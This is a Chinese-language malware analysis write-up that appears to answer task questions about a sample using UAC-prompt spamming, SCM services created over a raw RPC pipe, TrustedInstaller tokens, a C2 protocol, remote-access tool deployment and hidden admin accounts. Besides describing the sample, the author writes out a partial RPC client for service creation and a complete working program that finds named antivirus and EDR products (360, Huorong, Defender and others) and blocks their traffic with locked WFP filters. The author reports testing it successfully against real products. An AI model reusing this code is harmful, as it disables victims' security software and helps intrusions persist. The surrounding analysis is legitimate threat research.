任务:
- 该样本通过 “CreateSvcRpc” 技术创建具有系统权限的服务,这一技术在代码层面是如何实现的?
- 该样本能够创建一个具有 TrustInstaller 权限的进程,它具体是如何实现的?
- 该样本通过创建 Windows Filtering Platform (WFP) 规则阻断 AV/EDR 的网络流量,其具体的 API 调用流程是什么,创建了哪个 WFP 层/子层、使用了哪些过滤条件和权重优先级?
document.exe
HASH
SHA256:4e3cdeba19e5749aa88329bc3ac67acd777ea7925ba0825a421cada083706a4e
MD5:a9b52f654370a25d25af4554c25c2cc9
SHA1:7065ec1c8d8cccf6be22d21f781e278f307720ad

这个文件存在一个正常的数字签名
直接运行之后会显示UAC弹窗,采用UAC弹窗"炸弹"的方式进行提权,提权运行之后显示版本不兼容

此可执行文件基于 wxWidgetsGitHub 存储库中的菜单示例,用于部署后续阶段的必要工具。该工具集经过加密并捆绑在可执行文件的资源中,并包含名人的图像:


使用IDA分析
WinMain函数前面部分进行了初始化操作,真正的是同vtable调用虚函数进入的

call eax跟进之后,这是一个虚函数,*this + 92 计算 vtable 条目在偏移量 92 字节处的地址(指针为 4 字节,可能是第 23 个虚函数)

跳转到虚函数所在位置

提权操作

采用while循环给用户弹UAC弹窗,只有用户同意提权才会退出循环,提权成功会使用ShellExecuteExW创建一个以管理员权限运行相同进程,然后使用TerminateProcess立即退出

构造路径 C:\ProgramData\Windows\tmp\<随机名>,使用系统运行时间 (GetTickCount64) 生成随机文件名

从自身资源节中加载 ID 为 0x6E 的 "BMP" 类型资源
接着使用一个简单的SUB操作解密数据,密钥值为‘ A ’。与远程监控和管理(RMM)工具和下一阶段有效负载相关的所有组件都放在C:\ProgramData\Windows中


持久化
创建 WpnCoreSvc Windows服务,服务指向Ruby脚本执行恶意载荷,使用直接RPC调用绕过API监控

接着使用 CreateSvcRpc 进入下一阶段,CreateSvcRpc 是一个自定义 RPC 客户端,它直接与 ntsvcs 命名管道通信以与 Windows 服务控制管理器 (SCM) 交互,绕过标准 API,如 OpenSCManager、CreateService、StartService 等。生成的服务以 SYSTEM 级权限运行。

“WpnCoreSvc”是使用自动启动类型创建的,确保它在系统启动期间由服务控制管理器加载,以便通过 Ruby 脚本执行下一阶段。另一个创建的服务“WinSvc_”被配置为需求启动,并通过直接调用攻击者提供的启动器来启动下一阶段。

为两个创建的服务执行的命令如下:
代码实现:
#include <windows.h>
#include <stdio.h>
#include <rpc.h>
#pragma comment(lib, "rpcrt4.lib") // Link with RPC runtime library
HANDLE EstablishRpcConnection() {
// 连接到SCM的命名管道
HANDLE hPipe = CreateFileA(
"\\\\.\\pipe\\ntsvcs",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("Failed to open pipe. Error: %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
// 构造RPC主头
unsigned int rpcHeader[4];
rpcHeader[0] = 0x030A3BFD; // Version and flags
rpcHeader[1] = 16; // Size of header
rpcHeader[2] = 72; // Total size of header + payload
rpcHeader[3] = 1; // Bind request type
// 构造BIND负载
unsigned char rpcBindPayload[56] = {0};
*(unsigned int*)&rpcBindPayload[0] = 268439552; // Max transmit size
*(unsigned int*)&rpcBindPayload[4] = 0; // Max receive size
*(unsigned int*)&rpcBindPayload[8] = 1; // Assoc group
*(unsigned int*)&rpcBindPayload[12] = 0x10000; // Context ID
*(unsigned int*)&rpcBindPayload[32] = 2; // Num transfer syntaxes
*(unsigned int*)&rpcBindPayload[52] = 2; // Num context items
// 填充接口UUID
UUID interfaceUuid;
if (UuidFromStringA((RPC_CSTR)"367abb81-9844-35f1-ad32-98f038001003", &interfaceUuid) != RPC_S_OK) {
printf("Failed to convert interface UUID\n");
CloseHandle(hPipe);
return INVALID_HANDLE_VALUE;
}
memcpy(&rpcBindPayload[16], &interfaceUuid, sizeof(UUID));
// 填充传输语法UUID
UUID transferSyntaxUuid;
if (UuidFromStringA((RPC_CSTR)"8a885d04-1ceb-11c9-9fe8-08002b104860", &transferSyntaxUuid) != RPC_S_OK) {
printf("Failed to convert transfer syntax UUID\n");
CloseHandle(hPipe);
return INVALID_HANDLE_VALUE;
}
memcpy(&rpcBindPayload[36], &transferSyntaxUuid, sizeof(UUID));
// 发送构造好的BIND包
DWORD bytesWritten = 0;
if (!WriteFile(hPipe, rpcHeader, sizeof(rpcHeader), &bytesWritten, NULL) ||
bytesWritten != sizeof(rpcHeader)) {
printf("Failed to write RPC header. Error: %d\n", GetLastError());
CloseHandle(hPipe);
return INVALID_HANDLE_VALUE;
}
if (!WriteFile(hPipe, rpcBindPayload, sizeof(rpcBindPayload), &bytesWritten, NULL) ||
bytesWritten != sizeof(rpcBindPayload)) {
printf("Failed to write RPC bind payload. Error: %d\n", GetLastError());
CloseHandle(hPipe);
return INVALID_HANDLE_VALUE;
}
// 读取SCM的响应
unsigned char responseBuffer[1024] = {0};
DWORD bytesRead = 0;
if (!ReadFile(hPipe, responseBuffer, sizeof(responseBuffer), &bytesRead, NULL)) {
printf("Failed to read response. Error: %d\n", GetLastError());
CloseHandle(hPipe);
return INVALID_HANDLE_VALUE;
}
if (bytesRead < 24 || *(unsigned int*)&responseBuffer[20] != 0) {
printf("RPC bind failed in response\n");
CloseHandle(hPipe);
return INVALID_HANDLE_VALUE;
}
return hPipe;
}
BOOL PerformServiceHijack(HANDLE hPipe) {
if (hPipe == INVALID_HANDLE_VALUE) {
return FALSE;
}
unsigned char rpcRequestPacket[4096] = {0};
DWORD bytesWritten = 0;
if (!WriteFile(hPipe, rpcRequestPacket, sizeof(rpcRequestPacket), &bytesWritten, NULL)) {
printf("[!] Error: Failed to send request packet. Error: %d\n", GetLastError());
return FALSE;
}
unsigned char finalResponse[1024] = {0};
DWORD bytesRead = 0;
if (!ReadFile(hPipe, finalResponse, sizeof(finalResponse), &bytesRead, NULL)) {
printf("[!] Error: Failed to read final response. Error: %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
int main() {
HANDLE hScmPipe = EstablishRpcConnection();
if (hScmPipe == INVALID_HANDLE_VALUE) {
printf("\n无法建立与系统核心服务的底层连接。\n");
return 1;
}
// 执行服务劫持
if (PerformServiceHijack(hScmPipe)) {
// printf("\n已模拟完整的服务劫持流程。\n");
} else {
// printf("\n在服务劫持过程中发生错误。\n");
}
// 清理资源
CloseHandle(hScmPipe);
return 0;
}
在终止之前,该程序会以简体中文显示一条虚假消息,指出系统版本不兼容,并指示用户在另一台计算机上运行该程序,从而通过社会工程继续传播。

持久化之后AV对载荷的拦截效果
360:好像不拦,但是查杀会停在这好久了,下面那个页面也打不开

Windows defender:这个重启之后不拦,变成下面了
简易编程语言
ruby.exe
调用该程序的system()函数启动svchost.exe

svchost.exe
调用krnln.fnr的LoadEPKFromCmdLine运行svchost.db文件(svchost.db文件为epk文件

krnln.fnr
LoadEPKFromCmdLine函数获取传入的命名然后对epk文件进行操作

调用LoadEPKData函数对指定的epk文件进行加载


channel-8df91be7c24a-channel-8df91be7c24e由maindll.db模块处理
channel-8df91be7c24f由elsedll.db模块处理

.db文件解密逻辑,对单字节减去0x41


然后将模块加载到内存中,并调用其导出的函数“getVersion”。
maindll.db
getVersion:
提升进程权限:
多通道执行逻辑
Channel A: channel-8df91be7c24a(升级并启动新程序、模块/通过重复执行恶意代码实现持久性)

升级并启动新程序、模块
创建两个线程,sub_10010E40:
加载RSA私钥字符串

构建C2服务器URL列表


进行端口号处理

配置文件在服务器上可用,利用RSA私钥解密配置文件,表明新版本已准备好下载。

解析配置文件

比较版本号以确定是否需要下载新的有效载荷
据线程参数执行不同操作,通过 HTTP 使用端口 9001 和 9002 与命令和控制 (C2) 服务器通信。端口 9001 负责 EXE 有效载荷,而端口 9002 则处理 EPK 有效载荷:

通过重复执行恶意代码实现持久性
sub_1000C690:
从资源中加载定义计划作业的 XML 文件。它注册作业“Microsoft\Windows\winrshost”和“Microsoft\Windows\winresume”

创建一个名为“DnsNetwork”的服务,用于启动一个带有附加参数的新实例

这些实例配置为自动运行——在系统启动期间以 SYSTEM 帐户(SID:S-1-5-18)运行,并在用户登录后以内置的 Administrators 组(SID:S-1-5-32-544)运行


Channel B: channel-8df91be7c24b(以 TrustedInstaller 身份运行/干扰AV/EDR解决方案)

sub_10012150:

以 TrustedInstaller 身份运行
sub_10003410:
当前进程权限提升(首先启用 SeDebugPrivilege 权限,并复制自身进程令牌,使其拥有提升的权限。)

系统权限获取(查找并复制一个 SYSTEM 进程令牌)

TrustedInstaller权限获取


令牌操作和权限设置

环境准备/高权限进程创建(使用 TrustedInstaller 令牌启动一个具有完整权限的新进程。)

干扰AV/EDR解决方案
sub_1000B210:

该恶意软件包含两个内置列表:一个用于安全产品路径,另一个用于安全产品名称。
安全产品路径:

安全产品名称:

它首先扫描目标路径中的可执行文件,检查是否存在安全解决方案。

然后,它将这些可执行文件与正在运行进程的镜像文件路径进行比较
.........

如果找到匹配项,且镜像路径包含已知的安全产品名称,则恶意软件会阻止其流量。

Channel C: channel-8df91be7c24c

Channel D: channel-8df91be7c24d(禁用 Windows 安全)

禁用 Windows 安全
会终止诸如“SecurityHealthService.exe”和“SecurityHealthSystray.exe”之类的进程

停止包括“wuauserv”、“UsoSvc”、“uhssvc”和“WaaSMedicSvc”在内的服务

删除诸如“C:\Windows\System32\WaaSMedicSvc.dll”和“C:\Windows\System32\wuaueng.dll”之类的关键系统文件

Channel E: channel-8df91be7c24e

elsedll.db
getVersion:
使用与maindll.db相同的服务器列表与命令与控制服务器通信,通过TCP端口8000建立连接。
通过相互TLS(mTLS)保护通信,利用嵌入式客户端密钥、客户端证书和CA证书来强制相互身份验证并防止冒充。

C2数据包以一个幻数1234567890(0x499602D2)开头,后面跟着四个字节,表示数据包长度,然后是一个命令ID,指定要执行的操作。

sub_100275B0

sub_10027EE0
支持多种功能,并可以在受害者系统上部署流行的远程访问工具,以实现完全控制,就像正常使用系统一样。

case 8100003:发送心跳信号

case 8101701:创建屏幕截图

case 8101614:枚举系统所有用户账户

case 8101611:继续/停止发送关闭监视器的消息

数据收集
case 8100005:监控与千牛(阿里巴巴的卖家工具)相关的前台窗口活动,支持提取程序生成的文件数据

收集系统信息如:
计算机名称

Windows操作系统产品详细信息

系统引导时间

自上次用户输入以来的时间

视频捕获驱动程序的数量

下载并执行
采用多种方法以各种方式下载和执行有效负载,支持shellcode, EPK, DLL和EXE格式。
下载的数据保存在tmp文件夹中,文件名由GetTickCount64生成。
case 8100101:对于EPK有效负载,由EPK Launcher启动

case 8100103:对于DLL有效负载通常保存到磁盘上,并通过rundll32.exe执行,调用getVersion导出函数。

case 8100104:对于EXE有效负载,可以写入磁盘并作为独立进程运行。

case 8100107:ShellCode有效负载被写入分配的内存,然后执行。

case 8100108:

case 8100221:

case 8100109:从C2下载并运行EPK文件使用EPK启动器

.......

case 8100112:从C2下载并运行DLL文件使用rundll32.exe,并调用getversion函数

.......

case 8100151:下载并将shellcode加载到内存中以供执行。

........

文件操作
仅针对工作目录下/database目录下的文件,并支持读、写、删除操作。
case 8100152:读操作

case 8100203:删除位于Database目录下的特定文件。
文件ID用于标识文件夹中的文件,范围从1001 (0x3E9)到1009 (0x3F1),对应于文件名01.db到09.db。

case 8100204:写操作

远程接入工具部署
使用嵌入在资源中的配置文件运行远程访问和代理工具。在攻击过程中,AnyDesk、Xray和TigerVNC被利用并配置为允许攻击者独占访问。
case 8101601:部署Xray和TightVNC

........

.......

case 8101603:对其他的Xray和TigerVNC进程查杀

case 8101609:安装AnyDesk,根据参数选择不同的安装模式(4种)

........

.......

case 8101610:对其他的AnyDesk进程查杀

此外,支持第三方RDP工具‘ RDP Wrapper ’和配置更改,允许快速修改RDP设置-例如通过注册表编辑启用或禁用多个会话登录。
case 8101604:启用和配置Windows远程桌面服务
启用RDP核心服务,注入RDP包装器DLL

修改登录策略

禁用RDP安全限制

配置会话限制、启用多用户并发

启用重定向功能

修改认证策略、启用RDP连接

case 8101605:快速配置RDP的登录和安全设置

case 8101607:启用RDP多会话登录

case 8101608:禁用RDP多会话登录

通过隐藏帐户持久化
case 8101606:
创建新用户的命令可以通过修改注册表路径
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
创建以用户名命名的REG_DWORD条目并将其值设置为0,将密码未过期的帐户添加到administrators组中,并将其隐藏在Windows登录UI中。
在代码实现中,条目名称被硬编码为‘V’,而不是使用实际的用户名。


流量阻断实现
#include <windows.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <iostream>
#include <vector>
#include <string>
#include <set>
#include <filesystem>
#include <fwpmu.h>
#include <rpc.h>
#include <aclapi.h>
#include <sddl.h>
#include <memory>
#include <algorithm>
#include <psapi.h>
namespace fs = std::filesystem;
#pragma comment(lib, "fwpuclnt.lib")
#pragma comment(lib, "rpcrt4.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "Psapi.lib")
const std::vector<std::wstring> securityProcessNames = {
L"360Safe.exe", L"360sd.exe", L"antivirus.exe", L"QQPCMgr.exe",
L"Sysdiag.exe", L"msmpeng.exe", L"MsMpEng.exe", L"NisSrv.exe", L"Defender.exe", L"Kaspersky.exe", L"ESET Security.exe",
L"Security.exe", L"Avira.exe", L"Avast.exe", L"Malwarebytes.exe",
L"Antivirus.exe", L"Bitdefender.exe", L"Norton.exe", L"Symantec.exe",
L"McAfee.exe", L"2345PCSafe.exe", L"PCManager.exe", L"Rising.exe",
L"Microsoft PC Manager.exe"
};
const std::vector<std::wstring> securitySoftwarePaths = {
L"C:/Program Files/360/360Safe", L"C:/Program Files/360/360sd",
L"C:/Program Files/360/360zip", L"C:/Program Files (x86)/360/360Safe",
L"C:/Program Files (x86)/360/360sd", L"C:/Program Files (x86)/360/360zip",
L"C:/ProgramData/360safe", L"C:/ProgramData/360SD",
L"C:/Program Files/kingsoft/kingsoft antivirus", L"C:/Program Files (x86)/kingsoft/kingsoft antivirus",
L"C:/ProgramData/kdata", L"C:/ProgramData/kdesk",
L"C:/ProgramData/Kingsoft", L"C:/ProgramData/KRSHistory",
L"C:/Program Files/Tencent/QQPCMgr", L"C:/Program Files (x86)/Tencent/QQPCMgr",
L"C:/ProgramData/Tencent/QQPCMgr", L"C:/Program Files/Huorong/Sysdiag",
L"C:/Program Files (x86)/Huorong/Sysdiag", L"C:/ProgramData/Huorong/Sysdiag",
L"C:/Program Files/Windows Defender", L"C:/Program Files (x86)/Windows Defender",
L"C:/ProgramData/Microsoft/Windows Defender", L"C:/Program Files/Common Files/AV",
L"C:/Program Files/ESET", L"C:/ProgramData/ESET",
L"C:/Program Files/Avira", L"C:/Program Files (x86)/Avira",
L"C:/ProgramData/Avira", L"C:/Program Files/Avast Software",
L"C:/ProgramData/Avast Software", L"C:/Program Files/Malwarebytes",
L"C:/ProgramData/Malwarebytes", L"C:/Program Files/AVG",
L"C:/Program Files/Common Files/AVG", L"C:/ProgramData/AVG",
L"C:/Program Files (x86)/2345Soft/2345PCSafe", L"C:/Program Files (x86)/Lenovo/PCManager",
L"C:/Program Files (x86)/Rising", L"C:/Program Files/Microsoft PC Manager"
};
struct FwpmMemoryDeleter {
void operator()(void* p) const {
if (p) FwpmFreeMemory0(&p);
}
};
template<typename T>
using FwpmMemPtr = std::unique_ptr<T, FwpmMemoryDeleter>;
const GUID PROVIDER_KEY = { 0xdd8e57b0, 0xb264, 0x4245, {0xa6, 0x58, 0x5b, 0x18, 0x24, 0xa4, 0x0a, 0x8a} };
const GUID SUBLAYER_KEY = { 0xa552636a, 0x39a7, 0x488b, {0xa3, 0x2e, 0x34, 0x44, 0xa7, 0xa7, 0x46, 0x35} };
const std::vector<GUID> WFP_LAYERS_TO_BLOCK = {
FWPM_LAYER_ALE_AUTH_CONNECT_V4,
FWPM_LAYER_ALE_AUTH_CONNECT_V6,
FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4,
FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6
};
HANDLE g_engineHandle = nullptr;
bool g_providerAndSublayerInitialized = false;
std::set<std::wstring> g_blockedExecutables;
std::wstring GetProcessPath(DWORD processId) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
if (!hProcess) return L"";
wchar_t path[MAX_PATH] = { 0 };
if (GetModuleFileNameExW(hProcess, nullptr, path, MAX_PATH)) {
CloseHandle(hProcess);
return path;
}
CloseHandle(hProcess);
return L"";
}
bool InitializeProviderAndSublayer() {
DWORD result = FwpmTransactionBegin0(g_engineHandle, 0);
if (result != ERROR_SUCCESS) {
std::wcerr << L"FwpmTransactionBegin0 failed. Error: " << result << std::endl;
return false;
}
FWPM_PROVIDER0 provider = { 0 };
provider.providerKey = PROVIDER_KEY;
provider.displayData.name = const_cast<wchar_t*>(L"Security Blocker Provider");
result = FwpmProviderAdd0(g_engineHandle, &provider, nullptr);
if (result != ERROR_SUCCESS && result != FWP_E_ALREADY_EXISTS) {
std::wcerr << L"FwpmProviderAdd0 failed. Error: " << result << std::endl;
FwpmTransactionAbort0(g_engineHandle);
return false;
}
FWPM_SUBLAYER0 subLayer = { 0 };
subLayer.subLayerKey = SUBLAYER_KEY;
subLayer.displayData.name = const_cast<wchar_t*>(L"Security Blocker Sublayer");
subLayer.providerKey = const_cast<GUID*>(&PROVIDER_KEY);
subLayer.weight = 0xFFFF;
result = FwpmSubLayerAdd0(g_engineHandle, &subLayer, nullptr);
if (result != ERROR_SUCCESS && result != FWP_E_ALREADY_EXISTS) {
std::wcerr << L"FwpmSubLayerAdd0 failed. Error: " << result << std::endl;
FwpmTransactionAbort0(g_engineHandle);
return false;
}
result = FwpmTransactionCommit0(g_engineHandle);
if (result != ERROR_SUCCESS) {
std::wcerr << L"FwpmTransactionCommit0 failed. Error: " << result << std::endl;
FwpmTransactionAbort0(g_engineHandle);
return false;
}
return true;
}
bool AddApplicationFirewallBlockRules(const std::wstring& applicationPath) {
if (g_blockedExecutables.count(applicationPath)) {
return true;
}
if (g_engineHandle == nullptr) {
FWPM_SESSION0 session = { 0 };
session.txnWaitTimeoutInMSec = INFINITE;
DWORD result = FwpmEngineOpen0(nullptr, RPC_C_AUTHN_WINNT, nullptr, &session, &g_engineHandle);
if (result != ERROR_SUCCESS) {
std::wcerr << L"FwpmEngineOpen0 failed. Error: " << result << std::endl;
return false;
}
}
if (!g_providerAndSublayerInitialized) {
if (!InitializeProviderAndSublayer()) return false;
g_providerAndSublayerInitialized = true;
}
FWP_BYTE_BLOB* appBlob = nullptr;
DWORD result = FwpmGetAppIdFromFileName0(applicationPath.c_str(), &appBlob);
if (result != ERROR_SUCCESS) {
return false;
}
FwpmMemPtr<FWP_BYTE_BLOB> appId(appBlob);
for (const auto& layerKey : WFP_LAYERS_TO_BLOCK) {
FWPM_FILTER0 filter = { 0 };
UuidCreate(&filter.filterKey);
filter.displayData.name = const_cast<wchar_t*>(L"Security Software Block Rule");
filter.layerKey = layerKey;
filter.subLayerKey = SUBLAYER_KEY;
filter.providerKey = const_cast<GUID*>(&PROVIDER_KEY);
filter.weight.type = FWP_EMPTY;
filter.action.type = FWP_ACTION_BLOCK;
FWPM_FILTER_CONDITION0 condition = { 0 };
condition.fieldKey = FWPM_CONDITION_ALE_APP_ID;
condition.matchType = FWP_MATCH_EQUAL;
condition.conditionValue.type = FWP_BYTE_BLOB_TYPE;
condition.conditionValue.byteBlob = appId.get();
filter.numFilterConditions = 1;
filter.filterCondition = &condition;
UINT64 filterId = 0;
result = FwpmFilterAdd0(g_engineHandle, &filter, nullptr, &filterId);
if (result != ERROR_SUCCESS) {
std::wcerr << L"FwpmFilterAdd0 failed. Error: " << result << std::endl;
continue;
}
EXPLICIT_ACCESS_W access = { 0 };
access.grfAccessPermissions = GENERIC_ALL;
access.grfAccessMode = SET_ACCESS;
access.grfInheritance = NO_INHERITANCE;
TRUSTEE_W trustee = {};
BuildTrusteeWithNameW(&trustee, const_cast<wchar_t*>(L"SYSTEM"));
access.Trustee = trustee;
PACL pAcl = nullptr;
if (SetEntriesInAclW(1, &access, nullptr, &pAcl) == ERROR_SUCCESS) {
result = FwpmFilterSetSecurityInfoByKey0(g_engineHandle, &filter.filterKey, DACL_SECURITY_INFORMATION, nullptr, nullptr, pAcl, nullptr);
if (result != ERROR_SUCCESS) {
std::wcerr << L"FwpmFilterSetSecurityInfoByKey0 failed. Error: " << result << std::endl;
}
LocalFree(pAcl);
}
}
g_blockedExecutables.insert(applicationPath);
return true;
}
std::set<std::wstring> ScanSecuritySoftwarePaths() {
std::set<std::wstring> foundExecutables;
for (const auto& basePathStr : securitySoftwarePaths) {
try {
fs::path basePath(basePathStr);
if (fs::exists(basePath) && fs::is_directory(basePath)) {
for (const auto& entry : fs::recursive_directory_iterator(basePath, fs::directory_options::skip_permission_denied)) {
if (entry.is_regular_file() && entry.path().extension() == L".exe") {
foundExecutables.insert(fs::absolute(entry.path()).wstring());
}
}
}
}
catch (const fs::filesystem_error&) {
}
}
return foundExecutables;
}
std::set<std::wstring> ScanRunningSecurityProcesses() {
std::set<std::wstring> foundProcesses;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return foundProcesses;
PROCESSENTRY32W pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnapshot, &pe32)) {
do {
for (const auto& procName : securityProcessNames) {
if (_wcsicmp(pe32.szExeFile, procName.c_str()) == 0) {
std::wstring path = GetProcessPath(pe32.th32ProcessID);
if (!path.empty()) {
foundProcesses.insert(path);
}
}
}
} while (Process32NextW(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return foundProcesses;
}
void DetectAndBlockSecuritySoftware() {
auto pathFound = ScanSecuritySoftwarePaths();
for (const auto& path : pathFound) {
if (AddApplicationFirewallBlockRules(path)) {
std::wcout << L"Blocked (from Path Scan): " << path << std::endl;
}
}
auto procFound = ScanRunningSecurityProcesses();
for (const auto& path : procFound) {
if (AddApplicationFirewallBlockRules(path)) {
std::wcout << L"Blocked (from Process Scan): " << path << std::endl;
}
}
}
void Cleanup() {
if (g_engineHandle) {
FwpmEngineClose0(g_engineHandle);
g_engineHandle = nullptr;
}
}
int wmain() {
atexit(Cleanup);
std::wcout << L"Security Software Blocker Started." << std::endl;
std::wcout << L"Scanning periodically. Press Ctrl+C to exit." << std::endl;
while (true) {
DetectAndBlockSecuritySoftware();
std::wcout << L"\nScan complete. Waiting 10 seconds before next scan...\n" << std::endl;
Sleep(10000);
}
return 0;
}
测试效果:

火绒:网络访问错误

360:一直处于检查中
